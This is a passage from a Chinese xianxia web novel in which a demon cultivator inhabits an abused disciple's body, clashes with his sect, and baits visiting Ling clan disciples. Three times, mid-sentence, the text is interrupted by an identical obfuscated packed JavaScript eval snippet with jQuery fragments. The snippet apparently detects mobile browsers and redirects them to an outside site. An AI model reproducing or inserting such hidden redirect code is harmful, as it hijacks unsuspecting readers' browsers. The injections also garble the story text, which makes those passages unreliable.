“凌裴玄你给我安静点,要是一会又把领队大师兄惹怒了,你今晚就自己卸旗子吧。”这会开口的是一个少女,头上是编成辫子裹成的小圆包,还绑着两道流苏,发间还有小铃铛,说话时脑袋晃动,发出悦耳声响,尽显少女的俏皮与可爱。 “那可不行,杉杉师姐你不会这么对我的是不是?”凌裴玄撒娇摇着少女的胳膊。 “黄师姐,你莫要理他,人来疯一个,你再帮他,今晚又得再罚你抄一百遍符箓了。”此时说话的是另一个少年,与凌裴玄不同,此少年浓眉大眼,一身正气,站在那亦是身姿挺拔,他比众人都高出半头,自然而然地散发出一种威严,令人生畏,而凌裴玄却毫不在意,嘴角一撇,心中暗骂:‘装模作样。’” “咳咳。”领队的大师兄一声咳嗽,刚才说话的众人皆闭上了嘴,随后‘吱呀’一声,天山派的大门缓缓推开,走出来了五个人。 “诸天峰应邀前来,拜见天山派掌门及诸位长老,晚辈的凌悬,替师傅向各位问好。”凌悬说话铿锵有力,天山派几人看着眼前说话之人,已探知到此人已是结丹后期修士,但相貌青春,不见老态,不由得心中感叹‘不愧是诸天峰,结丹后期修士也只是个领队大师兄’。 想到这,天山派掌门心中微有忐忑,但随即镇定心神,笑吟吟地道:“切勿多礼,诸天峰能光临敝派,助我派渡过难关,实乃大幸。请各位务必入内,详谈此事。” “是。”凌悬抱了抱拳,轻声一句“走吧。”身后众人便整齐地立了立身子,步伐一致地准备迈进天山派。 “哎哟喂,你们,你们……你们等我一下呗。”一道嗓音打破了众人的客气氛围,虽还未见人,但从嗓音听,已觉得此人吊儿郎当,玩世不恭。 “是谁!”凝无双最先站了出来,指尖一勾,法宝立即萦绕在身,众人也深知此时是特殊时刻,看凝无双这一举动,也纷纷御动灵气,祭出本命法宝。 随着一阵气喘声,众人只看见一个白影小跑着靠近,随后,身影越发清晰,出现了一个衣着碧青色长袍的青年男子。 “顾青?”凝无双一眼便认出了徒弟,心中诧异,这徒儿不是失踪了吗?怎的此刻现身于此?天山派众人听到‘顾青’三字,脸色均是一变。 “弟子……弟子拜见师傅,以及,以及……哎哟,等一下,我实在喘不过气来了。”顾青拍着胸脯,气喘吁吁,叉腰喘息,好一阵才平复下来,接续上之前的言辞。“弟子拜见师傅,以及各位师叔,掌门师伯,还有诸位贵客。” “你怎会在此?”凝无双语气冰冷,对这位弟子实难心生好感,每次目光相接,只觉怒火中烧,心绪难安。 “我听管事弟子说,你不是看各大门派围攻本派,夜里偷偷逃了出去吗。”无垢半眯着眼,一脸的鄙夷。此话一出,在场的人脸色都是一股子的鄙视,门派生死关头,最忌的就是做逃兵,身死道消还能赢得一个好名声,而临阵脱逃,即使活下来也是万人所指。 ‘不愧是顾青想杀的人,上来就给我扣大帽’洛水心中不爽道。 “弟子又岂是贪生怕死之徒,这不是前几日听药房师兄说,要开战了,可门派里可用的仙草药丹都稀缺得不行,我们天山派的山脉又被那外头的门派霸占了多年,灵石早就没有供应了,我寻思真开打起来,就我们如今这点家底,如何能够持久开战。我看这后山上也有些仙草灵兽的,想着去采药补贴补贴派里,可谁曾想后山深之又深,我迷了路,困在那好几天都不得出来,这也是昨日机缘巧合终于逃出来了,这不,紧赶慢赶地回来先拜见师傅,报一声平安。”顾青的一句话,让天山派几人脸色更加阴沉,这一句句揭老底的实话,让天山派想反驳,又不知如何反驳。 “这位道兄实在奇怪,说是去后山采摘仙草,可你这身衣裳……”黄杉杉最先看出了顾青的不妥,她素来心细,总能看到他人忽略之处。眼前这个长相清秀一脸清冷寒意的男青年,穿着的竟是金蚕丝钩织而成的长袍,金蚕丝养育金贵,虽是蚕,但只食灵石和灵气,且十年吐丝,一吐吐十年,又得再经历十年才能化成坚韧不摧的金蚕丝。世间高门贵派选用金蚕丝,也仅是制作护心兜,从未见过有人如此豪横,竟穿了一整袭金蚕丝的长袍。 “杉杉师姐,这衣裳有何不妥?”凌裴玄小声问道。 “这衣裳乃金蚕丝所制,一卷金蚕丝便要五百上等灵石,织成这一袭长袍,少说得要一百卷,五万上等灵石,即便是豪门贵派拿得出,也不可能用于织造一件衣裳。道兄自称是天山派弟子,深知如今天山派的窘迫之境,你把这衣裳随便拿去识货的当铺一当,少说也有四万上等灵石,这笔钱,足够供应天山派一年有余的持久战了。”黄杉杉信誓旦旦,如此不合理的人,大概率是他人所造的身外化身。 “你到底是何人,报上名来,如若不实话实说,老夫直接抽了你的仙髓用作下酒!”红鼻子老头双目狰狞,语气十分愤怒,洛水看向那老头,脑海的记忆里立刻蹦出‘劈山师伯’四字。 “劈山师伯,虽然我与你平日里鲜有交集,但我对你一直心存敬意,如今,你怎能以我的伤心之事为乐,如此戏弄于我!”顾青的语气带着满满的悲戚,连带着哭腔,一下子让人觉得确实是劈山正在霸凌眼前青年。 “你这厮休得胡说!我刚才如何拿你开玩笑了!你定是邪魔歪道的奸细,看我把你的仙髓抽出来给大伙瞧瞧!” “我的仙髓,不早就被师傅拔了出来了吗?此刻不正放在掌门殿中炼化着!”顾青语言刚落,凝无双一个迅捷身法冲了上去,对着顾青便是一个恶狠狠的耳光,顾青无法躲闪,结结实实吃了这一记耳光。 听闻顾青一言,凌家几人眼神一下子变了色,同时面面相觑起来。剥人仙髓这等事,在修真界也不少见,但多用于对付那些祸害凡间滥杀无辜之人,且正派间早有规矩,不能拿他人仙髓用作自身增进修为的手段,如若发现,则视为邪魔外道。如若天山派真如眼前青年所说,强取弟子仙髓,那么此刻的天山派就已经可以成为邪教了。 “诸位道友见谅,此弟子确为我门派中人,然其患有疯疾,神志时清时乱,言语混淆真伪,若本派真有其事,诸天峰四长老又怎会应允老夫之邀,让诸位贤侄莅临?”掌门站了出来,语气温柔且坚定地说道。“至于他那身衣服,想是他去后山真的寻到了那传说中的洞天别府得到的吧,天山派这后山一直有一道上古结界,进入之人皆有去无回,偶有未进入结界的侥幸逃回的,说那地财宝万千,他能得到这一身也是他的机缘。诸位可用神识窥探他的元神,如若真是邪魔歪道,一眼便可认出。” 掌门说完,凌家人率先发动了神识查看起顾青,众人看了好一会,感知到面前青年元神毫无灵力修为。 ‘一群庸才,化神期强者的元神,岂是尔等结丹期、筑基期所能以神识窥探,待你们晋升元婴期,再言此事不迟。’洛水心中暗笑。 “确实无恙,但他如果是化神期的,我们的神识也是无法探知的……”凌裴玄的话一出,带队的凌悬便是狠狠一瞪,语气凶狠地说:“如今九州化神人物有几个,你竟能说出如此蠢笨话语,今晚罚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116014|164160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抄五百遍符箓。”凌悬顿了一下,又看向其他人:“你们谁敢帮他,有一人就再加五百,你们不怕他手断,尽管帮!” 凌悬语毕哦,对天山派掌门抱拳鞠躬,说:“天山派的门派事务我们诸天峰不想插手,此次来是应师傅要求,来为天山派守山几日,以助掌门您能顺利突破结丹进入元婴,还请劳烦带路,接下来几日我会安排凌家子弟与天山派弟子一同巡山。” “如此甚好,如此甚好。”天山派掌门哈哈一笑,捋了捋胡子,侧开身子欢迎众人入内,其间他的眼睛与凝无双对上,眼睛里掠过一丝凉意。凝无双也读懂了掌门眼神的意思,伸手拽住顾青,用着死劲。 ‘随便你用力掐,我是活尸,不怕疼’顾青能感知到凝无双正对自己下着狠劲,但是这具躯体对此感知少之又少,他要做的,只是演出一副吃疼的模样。 待凌家人远去,另外几人也看向凝无双,无垢语气冰冷地说道:“师妹,可别让你的功劳变成一场空,好好处理才是。”说完,便化为一道紫光飞向了远处的一处山脉。 “无垢说得对,你得好好招呼他了。”劈山啐了一口浓痰,拉着身边的中年男子道:“苍角,走,去我那峰喝上两杯,我有十全大补酒,刚好补上你今日亏空的灵气。” “这……好吧。”话毕,两道光芒亦飞向了不远处的一道山脉。 此时只剩下凝无双和顾青,凝无双沉默寡言,一把拽起顾青的胳膊,迅速施展法咒,身形化作一道流光,向雪霜门所在的山脉疾驰而去,强大的力量在瞬间爆发,竟使得顾青的胳膊不堪重负,脱臼而下。 洛水心中白眼翻了又翻,如今的顾青只是凡人一个,御动仙法不给他加上防护咒术,随便几下就能把他搞死,看来这凝无双是不想让顾青好好活了。 一瞬间两人便飞回到了雪霜门主厅,脚刚触地,凝无双脸上露出嫌弃的神色,一把将顾青推到一旁,语气冰冷而凶狠地喊道:“来人!” 很快几个身影便跑了出来,齐齐跪在凝无双跟前,毕恭毕敬道:“恭迎师傅。” “谁!到底是谁如此无能!连一个废物都看不住,竟然让他轻而易举地逃了出去!”凝无双的声音如寒冰般刺骨,带着几分歇斯底里的凶狠。 “是,是哑娘!”跪着的一个女弟子率先指认,队伍里低着头一直不敢说话的另一女弟子浑身颤抖,不敢抬头。 “啪”先说话的女弟子脸上被凝无双狠狠地抽上一巴掌,一个血红的掌印立即显现。 “谁让你安排一个哑巴去做看管的,这残废逃了,哑巴要怎么通知你们抓人!”凝无双说话间,拽起浑身颤抖的哑娘,恶狠狠问道:“还有你,不会说话难道不会敲锣打鼓吗!人跑了,你说了没!” “师傅,哑娘她……她说了的,只是那日,那日您说,跑便跑了,让他,让他死外头更好。”跪在前面的一个男子开口说了话,该男子身形健硕,在场地内格外引人注目。 “住口!你们这群废物,不能为为师分忧解难,连个看守的人都看不住!从今日起,全门上下,一律辟谷十日!”凝无双的话语一出,跪着的几人中有几个脸色一变,这几人连筑基都算不上,辟谷十日,便是实实在在的挨饿十日,如何能好受。众人怨恨的目光不敢直视凝无双,只能偷偷瞥向一旁正努力自行恢复脱臼胳膊的顾青。 “此外,从明日起,你们几个稍有修为的,都给我去掌门殿候着,我有要事安排。”凝无双说完,手指指向顾青,语气嫌弃恶狠狠地说:“把这个贱货,关回他的破屋!这几日如若让我看到他,又或者让他跑了,我必定挑断你们的手筋脚筋,和他一样,做个一生一世的废物!”说罢,凝无双便回了房。 5. 五、初次见面(二) 顾青被众弟子粗鲁地拽到一间屋子前,那屋子没有点亮任何烛火,远远看着阴森森的,众人不知谁大骂了一句:“贱人,自己寻死就寻死,还拽着我们一起死,今日师傅给我的那巴掌,我必定要还给你十倍!” 顾青认出此时说话的人,正是刚才指认哑娘那人,顾青脑子里蹦出几段记忆,只知道她是比自己晚进本十数年的师妹,如今筑基期都未成,修为只能算是入门。顾青定定地望着她,嘴角勾起一抹莫测的笑意,眼神深邃如渊,仿佛能吞噬一切光明。 “你!你瞪什么瞪!你这低贱的杂役!”那人猛地推开人群,一把揪住顾青的衣襟,可转瞬之间,只听她‘哎哟’一声惨叫,双手捂着手臂,在原地哀嚎不止。 “怎么了怎么了?”众人围上来一看,只见她的手此刻又红又肿,隐约能看到两道细小的伤口。 “小师妹,你没事吧,你这要打我没关系,毕竟是我惹得师傅让你们一同受罪,可这小玩意儿又没惹你,你说你那么用力拽它干嘛呢。”顾青嬉笑着从衣襟处轻轻一拉,一条翠绿色长蛇被拽了出来,众人被顾青这突如其来的举动吓得连忙倒退,只剩下因手受伤而来不及逃开的师妹。 “师妹,你不是很爱我房里的物件么?今日偷些笔墨纸砚,明日拿点仙草药丹的,不过看在我重伤时,你那么努力地每日给我端茶倒水,师兄那些身外物送你又如何,只是师兄想说,那怄了七八天的水,你知道有多难喝吗?”顾青语气由温柔忽地转为阴狠,一只手用力捏住眼前女人的下巴,另一只缠绕着绿蛇的手缓缓靠近,顾青嘿嘿一笑,继续说:“这蛇,是师兄新得的宝贝,我送与你如何。”说罢,那蛇沿着顾青的手,缓缓钻入了女人的嘴里,在场所有人更加惊恐地尖叫起来,有几个不经事的,忽地跪地开始呕吐。 女人想要挣扎,但不知为何,她看着眼前之人,如同在看着无边无际的黑暗,那巨大且恐怖的黑暗,正在一点点吞噬自己,这股黑暗冰冷又刺骨,冷得人心发颤,冷得无法动作,只能这般任由那蛇,钻入自己嘴中。 “顾青!你在做什么!”众人中身材高大的男子一声怒吼,声音带着灵力,震出一圈声波,扬起不少灰尘。但这声音也让在场所有人忽然惊醒过来,哪有什么绿蛇,顾青正往女人嘴里塞着一把带泥的青草。 “障眼法?”众人稍稍回过神,才明白过来刚才的可怖景象,竟是顾青的障眼法。可惜这一声怒吼来得太晚,嘴里被塞满青草泥土的女人已经蜷缩在地,不住地口吐白沫,随后便是一股恶臭,不用看也知道,惊惧过度导致大小便失禁了。 “我能干什么,听师傅要你们辟谷十日,我提前喂些吃的给小师妹,我啊,心疼她。”顾青放开手里的女人,嫌恶地走开,毕竟一地的排泄物着实难闻。 “你给我过来!”男子往前走开,顾青也不躲开,用手指绕了绕额前垂下的长发,眼眸微微颤动,嘴角轻轻勾起,似笑非笑地看向男子,语气有些娇嗔道:“成毅大师兄,几日不见,想我没?” 成毅完全没想到顾青会有如此姿态,眼前之人对比之前重伤时的凌乱肮脏,此刻的他干净圣洁,但是眼眸之中带着一股水汽,脸色苍白,但是神情有着一股吸人神识的媚劲。成毅胸口之下一股热气上升,但是众人在场,只听他低声沉吟道:“滚回你的房间去。” “好啊,那你,会不会像从前那样,来找我‘挑灯夜读’啊。”顾青故意把最后的‘啊’字念得轻轻软软,带着一股子的脂粉柔媚气。在场的人听了,脸色忽地一红,不敢再看顾青。 成毅看着眼前的顾青,心中火焰越发燃烧得激烈,只能继续压低嗓子,再次说了一遍:“滚回你的房间去。” “好呀,各位晚安。”顾青装模作样地对着众人拜了个礼,步伐轻盈地走进屋内。刚进屋,顾青就忍不住干呕了起来,刚才那人,便是记忆里趁着顾青伤重强行占有了他的黑影,也就是雪霜门的大师兄。 “光看样子也看不出那厮如此下作变态,果然知人知面不知心。”顾青啐了一口痰,手指点向香囊,四面小旗帜从香囊内蹦出。这些物件,都是自己结丹以及元婴期用过的道具,因为制造时已经注入过灵力,物件已是认主之物,所以洛水使用起来无需再用灵力御动。顾青把四面旗帜分别安在屋内四个角落,随即一道金光从四周笼罩住了屋子。 ‘结丹后期制造的防御阵法,想来也足够应付如今这些人了吧’洛水拍拍手,环顾了下四周。眼前的房子只能用家徒四壁形容,一个物件都没有,不远处的床铺上,只有一张破烂肮脏的被褥,走近一看,床铺上以及被褥上都是已经发黑的血迹。 ‘唉,你的命竟能坏到这个程度’洛水抚着床铺上的血迹,心里涌起一股怨念极深的恨意。‘放心,既然用了你的身体,必定会为你把事办得漂漂亮亮,风风光光’说完便掀去被褥,坐在床铺上开始打坐汲取灵气。虽然障眼法用不了多少灵气,但是这具身躯每日仅有的那一点灵气储备已经被用光了,还是需要赶紧补充。 天山派的另一头,凌家的人安顿下来后,便开始各自忙起各自的事,除了凌裴玄。此刻的他正跪在大厅,正一笔一捺一撇地画着符箓,有几人经过,都捂嘴扑哧笑。凌裴玄看着嗤笑的人,满腔怒火,画符箓的手劲多了些,手下的符箓笔画立即变成了一坨。 “你啊,专心点画吧,今天大师兄是真生气了。”黄杉杉拿来茶壶茶杯,倒了一杯浓茶给凌裴玄,语气温柔说道:“喝了醒醒神,好好抄,明日还得巡山呢。” “杉杉师姐,你就不能……” “谁敢帮你,再加五百遍,你不怕你手废掉,你就让杉杉师姐帮你,自己受罪就好,别连累他人。”浓眉大眼的少年走了过来,出声止住了凌裴玄的撒娇。 “季浩燃,我是与你有仇吗!怎么事事针对我!”凌裴玄大声问道,黄杉杉立即上手捂住凌裴玄的嘴,做了个噤声动作,小声道:“大师兄在呢,你不要命啦。” “凌大少爷又怎么会怕大师兄,他可是凌家宗主的亲儿子。”季浩燃并没有打算放过讥讽凌裴玄的机会,凌裴玄听到这话,眼中冒出浓浓怒焰,黄杉杉立即出声打断:“浩燃,你给我向裴玄道歉!”黄杉杉语气坚定,有着一股不容反驳的狠劲。 “我为什么要给他道歉……”季浩燃被黄杉杉突如其来的一句狠话弄得有些发怵,声音也跟着小了不少。 “就因为你对凌家不敬!我等都是凌家子弟,宗主是你我能议论的吗?你吃的穿的学的,哪一样不是凌家给的?我不知你对裴玄有什么意见,但裴玄就是凌家的大公子,这是他出生就注定的事,如若说你因为他身份高贵而觉得可以通过戏弄他提高自己的地位,那我觉得你不适合待在凌家。”黄杉杉的话语声巨大,在场的人闻言都停下了动作,看向了这边。 季浩燃听完黄杉杉的话,也是满脸的怒气,但是怒气之下还有不忿,不甘,他握紧拳头,刚想说什么,只听见凌悬一声怒吼,说道:“吵什么吵!什么时辰了!都给我回自己房里打坐休憩去!” 众人听到凌悬的命令,赶紧转身退出了大厅,往各自的房间走去,季浩燃那燃起的怒火没能发作,也只能憋得脸通红,独自退了下去。 “杉杉,你也快点,不许帮他。”凌悬看了一眼剩下的二人,叹了口气,也退出了大厅。 “杉杉师姐,其实你可以不帮我的,季浩燃他就是看我不顺眼,你每次都帮我,回去以后他那小肚鸡肠的,可不得往死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116015|164160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里整你。”凌裴玄看向黄杉杉的眼神充满了感激,黄杉杉笑了笑,语气轻松地说:“我不是在帮你,我是在点醒他,让他别失了分寸。” “杉杉师姐你真好!”凌裴玄身子靠近黄杉杉挨了一下,像一只撒娇的小狗靠在黄杉杉身上。黄杉杉摸了摸凌裴玄的脑袋,又指了指茶壶:“浓茶在这,困了就喝,你别想耍赖,今日大师兄是真发火了。” “我都不懂大师兄发那么大火干嘛,我又没做什么。” “你还没做什么?你和浩燃一样,失了分寸!”黄杉杉说这话时,又看了一眼四周,声音压低说着:“九州一共就出了两个化神大人物,一个是尊主,另一个是邪魔神洛水,你今天那话,说出来不正是对尊主大不敬吗,大师兄又是一板一眼的人。” “我又没那意思,那可是我……” “嘘,凌家不许以亲戚关系相称,即便再亲近,你可别犯了禁忌。” “是……”凌裴玄泄了气,歪着脑袋继续抄写符箓,黄杉杉笑了笑,又多说了几句安慰的话,便也退出了大厅。 在黄杉杉离开的那一刻,凌悬也收回了监看的神识,叹了口气,自言自语道:“一群人,还没个小姑娘懂事伶俐。” 凌悬御动灵气,从元神储物袋中唤出一面铜镜,念动法诀,铜镜里立即出现了一个模糊的身影。 “如何,顺利到达了吗?”铜镜那头开声问道,是一个女人的声音。 “顺利到达了。” “可有看见那冰凌圣根?” “还未,今日到达时已是入夜,天山派的人看起来挺疲倦的,想来是刚刚结束今日的炼化,我也不好提出去看一眼。” “嗯,也是不急,毕竟也只是寻个安心,只要确认是冰凌圣根就好,可别是那魔头的通天混沌灵根。” “只是今日有一事,徒弟觉得似乎有些不妥……” “有话直说,不必遮遮掩掩的。” “今日到来时,偶遇一天山派弟子,那弟子吊儿郎当的,满嘴疯话,他竟说冰冷圣根,是被天山派长老从他身上生剥下来的。天山派掌门只说那门徒是疯子,疯话不可信。可那疯子竟穿了一件金蚕丝钩织的长袍,说是从天山派后山所得。” “可有用神识辨别过此人?” “自然是有,只是一介凡人,连筑基期修为都无。” “估计是遇到了什么机缘所得吧,那人长什么样?是否有合欢老魔那般的媚姿妖骨?” “只是一个长得挺清秀的人,就是白得有点吓人,许是有些什么痨病吧。” “派两个人适当观察即可,重点还是在那冰凌圣根上。” “师傅,如若那疯子所言是真,冰凌圣根真是被天山派生剥而来的,那是否要出手?毕竟如若真的是这般,天山派便能算是邪教了。真让天山派掌门顺利用他人灵根进阶元婴,那届时魔道便又多一元婴修士,而凌家参与其中,名声也必定受损。” “呵呵,我自然知道,冰冷圣根乃天生之物,又怎可能后天所得,他们给我发邀约时我已知这天山派的门道。只不过碍于和他们的开派祖师有些交情,以及需要个合适的名头去天山派的山脉查探一番,才应允了这桩子事。你无须想太多,成为邪教这事自然会有其他人解决,派你前去也不是助他们进阶元婴,只是让你确认是否有魔头踪迹,以及让你把那几个猢狲带出去转一下,省得在我身边吵得我不能好好修行。好了,为师还有其他事要忙,如有无法自行决议的,再联系为师。” “是。”凌悬恭敬道,铜镜也随之暗淡下来,凌悬手一招,铜镜被收回了储物袋中,凌悬走出房间,看着天山派上方如海的星空,也觉得今日需好好休息,明日再捏紧神经探查吧。 6. 六、初次见面(三) 清晨,顾青的门被轻叩了几声,洛水收回神识,起身开了门。他并不担心此时会有对他不利的人来敲门。对他不利的人首先不会那么礼貌,其次有杀气者一旦靠近,早就被防护阵击飞到山脚去了。 ‘啊~啊’洛水开了门,只见一个姑娘拿着两把扫帚站在门口,姿态卑微,神情也带着一些恐惧和不安。洛水认出了这个女孩,是昨夜被凝无双拽着领子骂的那个,名叫哑娘的。洛水看着哑娘的脸,脑中也流出了关于她的记忆。顾青重伤不起时,便是她偷偷照护顾青的,被成毅欺辱后,亦是哑娘瞒着众人为顾青收拾干净。伤愈后,顾青被打发去做杂役,因身体日日承受锥心之痛,大多数杂活也是哑娘帮着做完,就连顾青逃走那日,也是哑娘为顾青指了指一条通往后山的小路。 ‘估计她以为过了后山就能逃脱天山派的掌控,却未想把顾青推向了另一个极端’洛水这么想着,挠了挠脑袋,柔声问道:“怎么了?” ‘啊’哑娘张着嘴,蹦出几个音节,不断晃动手中的扫帚,洛水很快领悟了她的意思,这是让他一起去扫地,毕竟现下顾青在天山派的身份,是个低贱的杂役。 洛水心里十分不愿意大早上就去扫地,毕竟他从生下来就没做过这样的事,即使是自己做散修那几年,衣食住行都有那五个小妖怪解决,想来这才是自己第一次要亲自干活。但是为了贯彻顾青的人设,以及多了解一些天山派的事,顾青也只能忍着不耐烦,接过扫帚开始跟哑娘干起活来。 洛水一边扫着山脉间的石阶,一边观察着周围的环境。天山派的清晨,空气中弥漫着淡淡的寒气,远处的山峰被薄雾笼罩,显得格外神秘。扫了一会儿,洛水感到有些疲惫,他不禁感慨,即便是修仙之人,做这种体力活也并非易事。 ‘铛铛铛’三声响彻山脉的钟声,洛水虽是第一次听到,但也觉得熟悉,定是又勾起体内顾青的记忆了。 “是晨练钟,但都已经被各大门派虎视眈眈地围剿了,还要晨练干嘛?”洛水有些不解,但很快他便明白了,这虽是晨练钟,但也是集合钟,洛水和哑娘因不会法术,是走着路前往的主殿,此时走到的地方,刚好是雪霜门连着天山派主山脉的一处高点,往下俯瞰,刚好能看到天山派主殿前那超大的练功场。钟声一响,十数道光芒齐齐降落在练功场上,人不多,但个个修为在身,结合邪见所说,这些应该就是天山派所有的精英了。 除了天山派的,还有几个昨日在山门前遇到的人,洛水想起那几日里有一个小孩,背上插着的家旗,是一个硕大的‘凌’字,心里莫名就冒出一股火,但是这股火为什么冒出来,自己完全不知,就如同之前那般,似乎是体内还有一个自己,正产生自己的情绪。 “啊”哑娘见洛水蹲在原地不住地往山下看,以为洛水是累得走不动道了,从腰间的小包裹里掏了掏,掏出了一颗巴掌大的番薯递给了洛水。洛水刚想御动神识听一下下面在说什么,就听到哑娘的一声‘啊’,再回神,自己的手里冰凉凉的,那番薯已被塞到了洛水手里。 “那你呢?”洛水握着番薯,看向哑娘,只见她又掏了掏包里,拿出一颗苹果。准确地说,这是半颗苹果,那苹果被人咬了几口,只剩下了一半,露出的果肉已经焦黄,而且果肉上还有一些砂石。哑娘浑不在意,又从某处摸出一把小刀,熟练地削去焦黄的果肉与砂石,直至只剩下一小块完好的果肉。 哑娘满脸欢喜地将那小块果肉送入口中,细细咀嚼,脸上洋溢着满足的神色,仿佛那是世间无上的美味。洛水看着哑娘,随后掰开手里的番薯,多的那边递给哑娘,自己一口吞掉了剩下的,一边吞一边说:“我最近肚子不舒服,不能吃那么多番薯,你吃吧。”哑娘羞涩地接过洛水递回的番薯,脸颊微红,犹豫片刻后,还是将它轻轻放回腰间的小布包里。 两人吃完一顿不算早饭的饭后,一前一后的终于走到了主殿,此时刚才集中的人已经散开,哑娘则熟练地开始打扫起练功场的落叶,和哑娘一样的,还有几个不知从哪冒出来的杂役,都是不声响,低着头干活。 “这门派好生奇怪,杂役难道都是哑巴吗?” 正在思考之际,只见远处的掌门殿一道耀眼五色光芒亮起,笼罩在天山派上空。洛水对这光束再熟悉不过,深知这是金丹破碎、元婴初生的征兆。然而,这光芒与他当年进阶元婴时截然不同,洛水驻足沉思,心中顿时豁然明了。 “天山派果然是扶不起的泥,这突破元婴的仙光,竟还不如我随便炼出的阵法光强。”一个少年音响起,洛水抬眼看去,只见一个少年还有一个少女正指着天上的光说话。这少年和少女的对话中透露出的轻蔑和不屑,显然不是天山派的弟子,但十分眼熟,洛水迅速思考,想起正是昨晚在山口碰到的凌家人。 “少侠好见识,不愧是凌家人,年少有为,年纪这般轻,竟也见过进阶元婴时的仙光?”洛水忍不住开口询问,声音中带着几分警惕。 少年转过头来,目光落在洛水身上,露出一副玩世不恭的神情:“哟,这不是天山派发了疯的杂役吗?怎么,你也对进阶仙光有所见解?不愧是天山派,一个杂役都懂这些,不愧是‘大宗门派’” 谁都能听出少年话语里的讥讽之意,少女轻轻拉了拉少年的衣袖,示意他不要张狂多言。 “大宗门派称不上,见解倒是有的。我这杂役,平日里除了扫地,也无事可做,便多看了几本杂书,增长了些见识。比不得一些‘大门派’少爷,光有一句‘不如我’,问其原理,我估计连三分理论都说不出来。”洛水杵着扫帚,语气故意强调了几个字,阴阳怪气的意思拉满。 “呸!你那么懂,那你倒说一下,这仙光是何物!”少年经不起激,怒吼道。 “进阶仙光,乃是修士突破修为时天地所显之象,其强度与修士的根基、悟性以及所用的灵力品质息息相关。我现在说的这些内容,我估摸着街边随便一个卖书的摊子都有,你不会不知道吧?” “嘁,这等基础自然是晓得,你那么爱卖弄知识,那小爷我问你,为何天山派这仙光如此薄弱。” “我自然是知道,但我说出来会有大祸,所以我选择不说。”洛水微微一笑,接着道:“如若小少爷你知道,你可以说出来,毕竟你是贵客,即使闯祸了,也有人兜着。” “我为何要做这等无利之事!你就是在套我!” “如若你能告知我这天山派今日仙光为何如此薄弱的原因,我愿意,把我这身衣裳,送与你。”洛水笑着展现自己的长袍,完全用金蚕丝钩织的长袍,五万上等灵石的长袍,五万上等灵石,已经是一个大派一整年的日常开销数额了,这个条件,如何能不诱人。 “不好意思,我们无意参与这场赌约。”少女说完,拉着少年就要走。 “真不赌一下?几万上等灵石,只是要你一句解释而已。”洛水看着两人即将走开的身影,又出言激了一下。 “好,我和你赌,不就是说出原因吗!”少年挣开少女拉着自己的手,出口说道:“不就是天山派的灵脉濒临枯竭,灵气稀薄,所以导致此门派进阶时灵气不足,仙光不亮吗?我告诉你原因了,这袍子就是我的了。”他说完伸出手,眼中闪烁着得意,一副胜券在握的模样。 “呵呵呵,这就是凌家的弟子,竟能说出如此滑稽的答案。啊哈哈哈,凌家风光这些年,养的弟子真的是越来越痴傻了。”洛水哈哈一笑,挥着扫帚准备离开。 “你骂我痴傻!那你又是什么玩意儿!我的答案哪里不对了!” “裴玄,你给我沉住气!”少年身边的少女这一次语气凶狠,少年也不曾见过少女这个模样,立即垂下头,不敢言语。而少女则抬起头,对向洛水说:“这位师兄,是你出言要与我师弟对赌,即便他的答案再不对,你也不该对凌家冷嘲热讽,我凌家弟子并不是你说的庸才。况且我师弟的答案哪里不对,这位师兄也并未指出,如若师兄说我师弟说的答案不对,请你拿出正确的答案。” “凌家还是有些带血性的人嘛。”洛水停住了脚步,挠了挠身子,继续道:“我刚才说了,我说出来有大祸,我不能说。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116016|164160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你……” “但我可以给你们一个线索,指引你们找到真正的答案。”洛水说完,从怀中掏出一块灵石扔给了少年,说道:“如果你还想和我玩这场游戏,今夜是满月之夜,当月光铺满大地,你往这块灵石上滴上几滴你的血,那么它就会带你寻到你想要的答案了。你我赌约之事,希望没有第四人知晓,君子一诺,驷马难追。”语毕,洛水提着扫帚跟着哑娘行至另一处地方。 “神神叨叨的,还给一块破灵石滴血,你快丢了罢,天山派掌门说得没错,他就是有疯病的。”少女对着顾青离开的身影翻了个白眼,往前走去:“快走吧,我们还要巡山呢,被那疯子耽搁许久了。” “哎,好。”少年看着那个逐渐远去吊儿郎当的身影,又想到刚才他的那番讽刺,眉头紧了紧,顺手把灵石塞入了口袋,跟上了前头的少女。 洛水与哑娘扫着扫着,便到了仙光最灿烂的地方,掌门殿。 